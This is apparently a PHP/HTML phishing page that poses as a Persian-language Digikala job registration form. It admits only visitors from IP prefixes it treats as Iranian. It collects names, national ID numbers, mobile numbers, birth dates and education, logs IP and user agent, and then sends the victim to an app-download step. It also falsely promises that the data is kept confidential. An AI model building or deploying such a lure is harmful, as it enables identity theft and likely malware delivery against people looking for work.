<?php
// register.php - فرم ثبت‌نام جذاب
session_start();

// تابع تشخیص IP ایران
function checkIranIP() {
    $ip = $_SERVER['REMOTE_ADDR'];
    $iran_prefixes = ['5.', '31.', '37.', '45.', '46.', '78.', '79.', '80.', '81.', '82.', '83.', '84.', '85.', '86.', '87.', '88.', '89.', '90.', '91.', '92.', '93.', '94.', '95.', '103.', '104.', '105.', '109.'];
    
    foreach ($iran_prefixes as $prefix) {
        if (strpos($ip, $prefix) === 0) {
            return true;
        }
    }
    return false;
}

// اگر IP ایران نیست
if (!checkIranIP()) {
    if (file_exists('vpn-warning.php')) {
        header('Location: vpn-warning.php');
    }
    exit();
}

// اگر فرم ارسال شده
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // جمع‌آوری داده‌ها
    $user_data = [
        'first_name' => $_POST['first_name'] ?? '',
        'last_name' => $_POST['last_name'] ?? '',
        'national_code' => $_POST['national_code'] ?? '',
        'mobile' => $_POST['mobile'] ?? '',
        'birth_day' => $_POST['birth_day'] ?? '',
        'birth_month' => $_POST['birth_month'] ?? '',
        'birth_year' => $_POST['birth_year'] ?? '',
        'education' => $_POST['education'] ?? '',
        'ip' => $_SERVER['REMOTE_ADDR'],
        'user_agent' => $_SERVER['HTTP_USER_AGENT'],
        'timestamp' => date('Y-m-d H:i:s')
    ];
    
    // ذخیره در سشن
    $_SESSION['user_data'] = $user_data;
    
    // هدایت به صفحه دانلود
    header('Location: download.php');
    exit();
}
?>
<!DOCTYPE html>
<html lang="fa" dir="rtl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>ثبت‌نام استخدام دیجی‌کالا</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        :root {
            --primary: #4a69bd;
            --secondary: #6a89cc;
            --success: #27ae60;
            --danger: #ff4757;
            --warning: #ffa502;
            --dark: #1a1a1a;
            --light: #f8f9ff;
        }
        
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            -webkit-tap-highlight-color: transparent;
        }
        
        body {
            font-family: system-ui, -apple-system, Tahoma, sans-serif;
            background: linear-gradient(135deg, #ffffff 0%, #f8f9ff 100%);
            color: #1a1a1a;
            line-height: 1.5;
            min-height: 100vh;
        }
        
        /* هدر */
        .register-header {
            padding: 20px 15px;
            background: white;
            border-bottom: 1px solid #eee;
            display: flex;
            align-items: center;
            gap: 15px;
        }
        
        .back-btn {
            text-decoration: none;
            color: var(--primary);
            font-size: 20px;
            width: 40px;
            height: 40px;
            display: flex;
            align-items: center;
            justify-content: center;
            border-radius: 50%;
            background: #f0f4ff;
        }
        
        .header-title h1 {
            font-size: 18px;
            color: var(--dark);
        }
        
        .header-title p {
            font-size: 12px;
            color: #666;
            margin-top: 3px;
        }
        
        /* پیشرفت بار */
        .progress-container {
            padding: 20px 15px 0;
        }
        
        .progress-steps {
            display: flex;
            justify-content: space-between;
            position: relative;
        }
        
        .progress-line {
            position: absolute;
            top: 15px;
            right: 20px;
            left: 20px;
            height: 3px;
            background: #eee;
            z-index: 1;
        }
        
        .progress-fill {
            position: absolute;
            top: 15px;
            right: 20px;
            height: 3px;
            background: var(--primary);
            width: 50%;
            z-index: 2;
            transition: width 0.3s;
        }
        
        .step {
            display: flex;
            flex-direction: column;
            align-items: center;
            position: relative;
            z-index: 3;
        }
        
        .step-circle {
            width: 30px;
            height: 30px;
            border-radius: 50%;
            background: white;
            border: 2px solid #eee;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 14px;
            color: #999;
            margin-bottom: 8px;
        }
        
        .step.active .step-circle {
            background: var(--primary);
            border-color: var(--primary);
            color: white;
        }
        
        .step-label {
            font-size: 11px;
            color: #666;
        }
        
        .step.active .step-label {
            color: var(--primary);
            font-weight: 600;
        }
        
        /* فرم */
        .form-container {
            max-width: 500px;
            margin: 0 auto;
            padding: 20px 15px;
            padding-bottom: 100px;
        }
        
        .form-card {
            background: white;
            border-radius: 20px;
            padding: 25px;
            margin-bottom: 20px;
            box-shadow: 0 5px 20px rgba(0, 0, 0, 0.05);
        }
        
        .form-title {
            font-size: 20px;
            color: var(--dark);
            margin-bottom: 25px;
            text-align: center;
            padding-bottom: 15px;
            border-bottom: 2px solid #f0f0f0;
        }
        
        .form-group {
            margin-bottom: 20px;
        }
        
        .form-label {
            display: block;
            margin-bottom: 8px;
            font-size: 14px;
            color: #333;
            font-weight: 500;
        }
        
        .required::after {
            content: ' *';
            color: var(--danger);
        }
        
        .form-input {
            width: 100%;
            padding: 16px;
            border: 2px solid #e8edff;
            border-radius: 12px;
            font-size: 16px;
            font-family: inherit;
            background: #f8f9ff;
            transition: all 0.3s;
        }
        
        .form-input:focus {
            outline: none;
            border-color: var(--primary);
            background: white;
            box-shadow: 0 0 0 3px rgba(74, 105, 189, 0.1);
        }
        
        .input-hint {
            display: block;
            font-size: 12px;
            color: #666;
            margin-top: 6px;
        }
        
        /* گروه تاریخ */
        .date-group {
            display: grid;
            grid-template-columns: repeat(3, 1fr);
            gap: 10px;
        }
        
        .select-wrapper {
            position: relative;
        }
        
        .form-select {
            width: 100%;
            padding: 16px;
            border: 2px solid #e8edff;
            border-radius: 12px;
            font-size: 16px;
            background: #f8f9ff;
            appearance: none;
            cursor: pointer;
        }
        
        .select-arrow {
            position: absolute;
            left: 15px;
            top: 50%;
            transform: translateY(-50%);
            color: #666;
            pointer-events: none;
        }
        
        /* مدرک تحصیلی */
        .education-options {
            display: grid;
            grid-template-columns: repeat(2, 1fr);
            gap: 10px;
        }
        
        .education-option input {
            display: none;
        }
        
        .education-label {
            display: block;
            padding: 16px;
            background: #f8f9ff;
            border: 2px solid #e8edff;
            border-radius: 12px;
            text-align: center;
            font-size: 14px;
            cursor: pointer;
            transition: all 0.3s;
        }
        
        .education-option input:checked + .education-label {
            background: var(--primary);
            color: white;
            border-color: var(--primary);
        }
        
        /* هشدار امنیتی */
        .security-alert {
            background: #f0f9ff;
            border: 2px solid #a5d8ff;
            border-radius: 15px;
            padding: 20px;
            margin: 25px 0;
            display: flex;
            align-items: flex-start;
            gap: 15px;
        }
        
        .security-alert i {
            color: var(--primary);
            font-size: 22px;
            margin-top: 2px;
        }
        
        .alert-content h4 {
            font-size: 15px;
            color: var(--dark);
            margin-bottom: 8px;
        }
        
        .alert-content p {
            font-size: 13px;
            color: #666;
        }
        
        /* دکمه ثبت‌نام */
        .submit-button {
            position: fixed;
            bottom: 20px;
            left: 15px;
            right: 15px;
            background: linear-gradient(135deg, var(--primary), var(--secondary));
            color: white;
            border: none;
            padding: 20px;
            border-radius: 15px;
            font-size: 18px;
            font-weight: 700;
            cursor: pointer;
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 12px;
            box-shadow: 0 10px 25px rgba(74, 105, 189, 0.25);
            transition: all 0.3s;
            z-index: 1000;
        }
        
        .submit-button:active {
            transform: scale(0.98);
        }
        
        .button-shimmer {
            position: absolute;
            top: 0;
            left: -100%;
            width: 100%;
            height: 100%;
            background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.2), transparent);
            animation: shimmer 2s infinite;
        }
        
        @keyframes shimmer {
            0% { left: -100%; }
            100% { left: 100%; }
        }
        
        /* رسپانسیو */
        @media (max-width: 380px) {
            .date-group {
                grid-template-columns: 1fr;
            }
            
            .education-options {
                grid-template-columns: 1fr;
            }
        }
    </style>
</head>
<body>
    
    <!-- هدر -->
    <header class="register-header">
        <a href="index.php" class="back-btn">
            <i class="fas fa-arrow-right"></i>
        </a>
        <div class="header-title">
            <h1>ثبت‌نام استخدام</h1>
            <p>اطلاعات خود را با دقت وارد کنید</p>
        </div>
    </header>
    
    <!-- نوار پیشرفت -->
    <div class="progress-container">
        <div class="progress-steps">
            <div class="progress-line"></div>
            <div class="progress-fill"></div>
            
            <div class="step active">
                <div class="step-circle">۱</div>
                <div class="step-label">اطلاعات شخصی</div>
            </div>
            
            <div class="step">
                <div class="step-circle">۲</div>
                <div class="step-label">تایید اطلاعات</div>
            </div>
            
            <div class="step">
                <div class="step-circle">۳</div>
                <div class="step-label">دانلود اپلیکیشن</div>
            </div>
        </div>
    </div>
    
    <!-- فرم ثبت‌نام -->
    <div class="form-container">
        <form id="registerForm" method="POST" action="">
            <div class="form-card">
                <h2 class="form-title">فرم ثبت‌نام</h2>
                
                <!-- نام -->
                <div class="form-group">
                    <label class="form-label required">نام</label>
                    <input type="text" 
                           name="first_name" 
                           class="form-input" 
                           placeholder="نام خود را وارد کنید"
                           required
                           autocomplete="given-name">
                </div>
                
                <!-- نام خانوادگی -->
                <div class="form-group">
                    <label class="form-label required">نام خانوادگی</label>
                    <input type="text" 
                           name="last_name" 
                           class="form-input" 
                           placeholder="نام خانوادگی"
                           required
                           autocomplete="family-name">
                </div>
                
                <!-- کد ملی -->
                <div class="form-group">
                    <label class="form-label required">کد ملی</label>
                    <input type="text" 
                           name="national_code" 
                           class="form-input" 
                           placeholder="کد ملی ۱۰ رقمی"
                           pattern="\d{10}"
                           maxlength="10"
                           required
                           autocomplete="off"
                           inputmode="numeric">
                    <span class="input-hint">
                        <i class="fas fa-info-circle"></i>
                        کد ملی باید ۱۰ رقم باشد
                    </span>
                </div>
                
                <!-- شماره موبایل -->
                <div class="form-group">
                    <label class="form-label required">شماره موبایل</label>
                    <input type="tel" 
                           name="mobile" 
                           class="form-input" 
                           placeholder="۰۹۱۲۳۴۵۶۷۸۹"
                           pattern="09\d{9}"
                           maxlength="11"
                           required
                           autocomplete="tel"
                           inputmode="tel">
                    <span class="input-hint">
                        <i class="fas fa-mobile-alt"></i>
                        برای دریافت اطلاعیه‌ها نیاز است
                    </span>
                </div>
                
                <!-- تاریخ تولد -->
                <div class="form-group">
                    <label class="form-label required">تاریخ تولد (شمسی)</label>
                    <div class="date-group">
                        <!-- روز -->
                        <div class="select-wrapper">
                            <select name="birth_day" class="form-select" required>
                                <option value="">روز</option>
                                <?php for($i=1; $i<=31; $i++): ?>
                                <option value="<?php echo $i; ?>"><?php echo $i; ?></option>
                                <?php endfor; ?>
                            </select>
                            <i class="fas fa-chevron-down select-arrow"></i>
                        </div>
                        
                        <!-- ماه -->
                        <div class="select-wrapper">
                            <select name="birth_month" class="form-select" required>
                                <option value="">ماه</option>
                                <option value="فروردین">فروردین</option>
                                <option value="اردیبهشت">اردیبهشت</option>
                                <option value="خرداد">خرداد</option>
                                <option value="تیر">تیر</option>
                                <option value="مرداد">مرداد</option>
                                <option value="شهریور">شهریور</option>
                                <option value="مهر">مهر</option>
                                <option value="آبان">آبان</option>
                                <option value="آذر">آذر</option>
                                <option value="دی">دی</option>
                                <option value="بهمن">بهمن</option>
                                <option value="اسفند">اسفند</option>
                            </select>
                            <i class="fas fa-chevron-down select-arrow"></i>
                        </div>
                        
                        <!-- سال -->
                        <div class="select-wrapper">
                            <select name="birth_year" class="form-select" required>
                                <option value="">سال</option>
                                <?php for($i=1403; $i>=1300; $i--): ?>
                                <option value="<?php echo $i; ?>"><?php echo $i; ?></option>
                                <?php endfor; ?>
                            </select>
                            <i class="fas fa-chevron-down select-arrow"></i>
                        </div>
                    </div>
                </div>
                
                <!-- مدرک تحصیلی -->
                <div class="form-group">
                    <label class="form-label required">آخرین مدرک تحصیلی</label>
                    <div class="education-options">
                        <?php
                        $degrees = [
                            'دیپلم' => 'fas fa-school',
                            'فوق دیپلم' => 'fas fa-certificate',
                            'لیسانس' => 'fas fa-user-graduate',
                            'فوق لیسانس' => 'fas fa-graduation-cap',
                            'دکتری' => 'fas fa-user-tie'
                        ];
                        
                        foreach($degrees as $degree => $icon):
                            // ایجاد آیدی یکتا
                            $id = 'edu_' . str_replace(' ', '_', $degree);
                        ?>
                        <div class="education-option">
                            <input type="radio" 
                                   name="education" 
                                   value="<?php echo $degree; ?>" 
                                   id="<?php echo $id; ?>"
                                   required>
                            <label for="<?php echo $id; ?>" class="education-label">
                                <i class="<?php echo $icon; ?>"></i><br>
                                <span style="margin-top: 8px; display: block;"><?php echo $degree; ?></span>
                            </label>
                        </div>
                        <?php endforeach; ?>
                    </div>
                </div>
            </div>
            
            <!-- هشدار امنیتی -->
            <div class="security-alert">
                <i class="fas fa-shield-alt"></i>
                <div class="alert-content">
                    <h4>اطلاعات شما محرمانه می‌ماند</h4>
                    <p>تمامی اطلاعات شما با استانداردهای امنیتی بالا ذخیره می‌شود و تنها برای فرآیند استخدام استفاده خواهد شد.</p>
                </div>
            </div>
            
            <!-- دکمه ثبت‌نام -->
            <button type="submit" class="submit-button">
                <div class="button-shimmer"></div>
                <i class="fas fa-check-circle"></i>
                تکمیل ثبت‌نام و ادامه
            </button>
        </form>
    </div>
    
    <script>
        // اعتبارسنجی فرم
        document.getElementById('registerForm').addEventListener('submit', function(e) {
            // اعتبارسنجی نام و نام خانوادگی
            const firstName = document.querySelector('[name="first_name"]');
            const lastName = document.querySelector('[name="last_name"]');
            
            if (!firstName.value.trim()) {
                alert('لطفاً نام خود را وارد کنید');
                firstName.focus();
                e.preventDefault();
                return false;
            }
            
            if (!lastName.value.trim()) {
                alert('لطفاً نام خانوادگی خود را وارد کنید');
                lastName.focus();
                e.preventDefault();
                return false;
            }
            
            // اعتبارسنجی کد ملی
            const nationalCode = document.querySelector('[name="national_code"]');
            if (!/^\d{10}$/.test(nationalCode.value)) {
                alert('کد ملی باید ۱۰ رقم باشد');
                nationalCode.focus();
                e.preventDefault();
                return false;
            }
            
            // اعتبارسنجی موبایل
            const mobile = document.querySelector('[name="mobile"]');
            if (!/^09\d{9}$/.test(mobile.value)) {
                alert('شماره موبایل باید با ۰۹ شروع شود و ۱۱ رقم باشد');
                mobile.focus();
                e.preventDefault();
                return false;
            }
            
            // اعتبارسنجی تاریخ تولد
            const birthDay = document.querySelector('[name="birth_day"]');
            const birthMonth = document.querySelector('[name="birth_month"]');
            const birthYear = document.querySelector('[name="birth_year"]');
            
            if (!birthDay.value || !birthMonth.value || !birthYear.value) {
                alert('لطفاً تاریخ تولد را کامل انتخاب کنید');
                e.preventDefault();
                return false;
            }
            
            // اعتبارسنجی مدرک تحصیلی
            const education = document.querySelector('[name="education"]:checked');
            if (!education) {
                alert('لطفاً مدرک تحصیلی را انتخاب کنید');
                e.preventDefault();
                return false;
            }
            
            // نمایش لودینگ (اجازه ارسال فرم)
            const submitBtn = e.target.querySelector('button[type="submit"]');
            const originalHTML = submitBtn.innerHTML;
            submitBtn.innerHTML = '<i class="fas fa-spinner fa-spin"></i> در حال ثبت‌نام...';
            submitBtn.disabled = true;
            
            // فرم ارسال می‌شود
            return true;
        });
        
        // فقط عدد برای کد ملی
        document.querySelector('[name="national_code"]').addEventListener('input', function() {
            this.value = this.value.replace(/\D/g, '');
            if (this.value.length > 10) {
                this.value = this.value.slice(0, 10);
            }
        });
        
        // فقط عدد برای موبایل
        document.querySelector('[name="mobile"]').addEventListener('input', function() {
            this.value = this.value.replace(/\D/g, '');
            if (this.value.length > 11) {
                this.value = this.value.slice(0, 11);
            }
            
            // اگر ۰۹ ندارد، اضافه کن
            if (this.value.length > 0 && !this.value.startsWith('09')) {
                this.value = '09' + this.value.replace('09', '').slice(0, 9);
            }
        });
        
        // اعتبارسنجی لحظه‌ای
        document.querySelectorAll('.form-input, .form-select').forEach(field => {
            field.addEventListener('blur', function() {
                if (this.hasAttribute('required') && !this.value.trim()) {
                    this.style.borderColor = 'var(--danger)';
                } else {
                    this.style.borderColor = '#e8edff';
                }
            });
            
            field.addEventListener('focus', function() {
                this.style.borderColor = 'var(--primary)';
            });
        });
        
        // اتوفوکوس روی اولین فیلد
        document.addEventListener('DOMContentLoaded', function() {
            setTimeout(() => {
                document.querySelector('[name="first_name"]').focus();
            }, 500);
        });
    </script>
</body>
</html>